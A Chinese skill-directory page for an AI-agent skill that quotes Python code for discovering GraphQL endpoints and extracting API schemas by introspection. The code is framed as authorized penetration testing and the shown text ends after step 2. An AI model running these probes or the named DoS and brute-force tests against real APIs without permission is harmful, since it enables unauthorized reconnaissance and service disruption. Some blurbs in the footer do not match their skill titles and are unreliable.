performing-graphql-introspection-attack
它能做什么
这个工具可以帮助你测试使用 GraphQL 的 API 的安全性。它会尝试发现整个 API 的结构(即数据如何组织,以及可以执行哪些操作),并查找可能被利用的漏洞。
适用场景
- ✓当你获得了测试 GraphQL API 安全性的许可时。
- ✓为了了解某个 GraphQL API 提供的所有数据类型和操作。
- ✓为了检查该 API 是否容易受到使系统过载或泄露信息的攻击。
技能链接
https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-graphql-introspection-attack/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“发现 'https://api.example.com/graphql' 上完整的 GraphQL API 架构,并查找敏感字段。”
每周 5 个新技能,1 分钟读完。
工作原理
这个工具会向 GraphQL API 发送特殊请求。如果 API 允许,它就会显示其完整结构。然后,工具会分析这个结构,查找已知的弱点。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
Performing GraphQL Introspection Attack
When to Use
- Testing GraphQL endpoints for exposed introspection that reveals the complete API schema
- Mapping the attack surface of a GraphQL API to identify sensitive queries, mutations, and types
- Testing for GraphQL-specific vulnerabilities including query depth abuse, batching attacks, and field-level authorization
- Assessing GraphQL implementations where introspection is disabled but schema can be reconstructed through error messages
- Evaluating defenses against resource exhaustion through deeply nested or complex GraphQL queries
Do not use without written authorization. Schema extraction and query abuse testing can impact service availability.
Prerequisites
- Written authorization specifying the GraphQL endpoint and testing scope
- Burp Suite Professional with InQL extension (v6.1+) for automated schema analysis
- Python 3.10+ with
requestsandgqllibraries - GraphQL Voyager or GraphQL Playground for schema visualization
- Clairvoyance tool for schema reconstruction when introspection is disabled
- Wordlists for GraphQL field and type name brute-forcing
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1: GraphQL Endpoint Discovery
import requests
import json
TARGET = "https://target-api.example.com"
headers = {"Content-Type": "application/json"}
# Common GraphQL endpoint paths
GRAPHQL_PATHS = [
"/graphql", "/graphql/", "/gql", "/query",
"/api/graphql", "/api/gql", "/api/v1/graphql",
"/v1/graphql", "/v2/graphql",
"/graphql/console", "/graphql/playground",
"/graphiql", "/altair", "/explorer",
"/graph", "/api/graph",
]
# Probe for GraphQL endpoints
for path in GRAPHQL_PATHS:
# Test with a simple introspection query
query = {"query": "{ __typename }"}
try:
resp = requests.post(f"{TARGET}{path}", headers=headers, json=query, timeout=5)
if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
print(f"[FOUND] GraphQL endpoint: {TARGET}{path}")
print(f" Response: {resp.text[:200]}")
except requests.exceptions.RequestException:
pass
# Also test GET method
try:
resp = requests.get(f"{TARGET}{path}?query={{__typename}}", timeout=5)
if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
print(f"[FOUND] GraphQL endpoint (GET): {TARGET}{path}")
except requests.exceptions.RequestException:
pass
Step 2: Full Introspection Query
GRAPHQL_URL = f"{TARGET}/graphql"
auth_headers = {**headers, "Authorization": "Bearer <token>"}
# Full introspection query to extract complete schema
FULL_INTROSPECTION = {
"query": """
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
"""
}
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=FULL_INTROSPECTION)
if resp.status_code == 200:
schema = resp.json()
…
常见问题
什么是 GraphQL?
GraphQL 是一种构建 API(允许程序之间相互通信的接口)的方式,比旧的方法更灵活、更高效。它允许 API 的使用者准确请求所需的数据。
什么是“内省”(introspection)?
在 GraphQL 中,内省是一项功能,允许程序向 API 询问它自身的结构。就像 API 可以向查询它的客户端描述自己一样。
为什么需要授权?
未经许可测试系统的安全性是违法的。如果在未经授权的系统上使用这个工具,可能导致系统不稳定或不可用,因此必须获得书面许可。
详情
作者的原始描述
Performs GraphQL introspection attacks that extract the full API schema (types, queries, mutations, subscriptions, field definitions), map the attack surface, test query depth/complexity limits, and exploit GraphQL-specific weaknesses such as batching attacks, alias-based brute force, and nested query DoS. Use for GraphQL security testing, schema enumeration, or GraphQL API penetration testing. '
热度
- GitHub 星标
- 35k
- 排名
- #8237
- 许可证
- Apache-2.0
- 更新时间
- 2026/8/31
评论
- …
同一仓库的更多技能
abusing-dpapi-for-credential-access
35k为你的 AI 智能体提供针对特定任务的现成指令,让它完成得更好、更快。
abusing-shadow-credentials-for-privesc
35k教你的 AI 智能体写出清晰、结构良好的文本。
achieving-cmmc-level-2-compliance
35k帮助你的智能体搭建符合 CMMC Level 2 合规要求的环境。它会落实安全要求,并管理必要的文档。
acquiring-disk-image-with-dd-and-dcfldd
35k帮助你的智能体创建硬盘的精确副本。这能确保调查过程中信息不丢失、不被篡改。